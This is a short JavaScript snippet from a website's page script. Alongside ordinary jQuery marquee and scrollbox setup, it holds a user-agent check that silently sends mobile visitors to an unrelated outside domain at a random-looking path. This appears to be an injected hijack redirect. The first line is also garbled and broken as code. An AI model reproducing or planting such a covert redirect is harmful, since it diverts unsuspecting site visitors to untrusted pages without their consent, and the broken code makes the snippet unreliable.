if(window.location.href.indexOf('http://anenc.com')===0){ window.location.href=""'http://anenc','http://www.anenc'); } if((typeof (document.referrer)==='undefined' || document.referrer.indexOf('http://www.anenc.com/index.php/Mobile')===-1) && window.location.href.indexOf('http://www.anenc.com/index.php')===-1 && navigator.userAgent.match(/android|webos|ip(hone|ad|od)|opera (mini|mobi|tablet)|iemobile|windows.+phone|mobile|fennec|kindle (Fire)|Silk|maemo|blackberry|playbook|bb10\\; (touch|kbd)|Symbian(OS)|Ubuntu Touch/i)){window.location.href="http://www.ozlemkayis.com/joefy.qiq/Npcjmf/";} $(document).ready(function () { // 文字滚动 $("#marquee").marquee({yScroll: "bottom"}); $('#demo4').scrollbox({ direction: 'h', switchItems: 5, distance: 710 }); });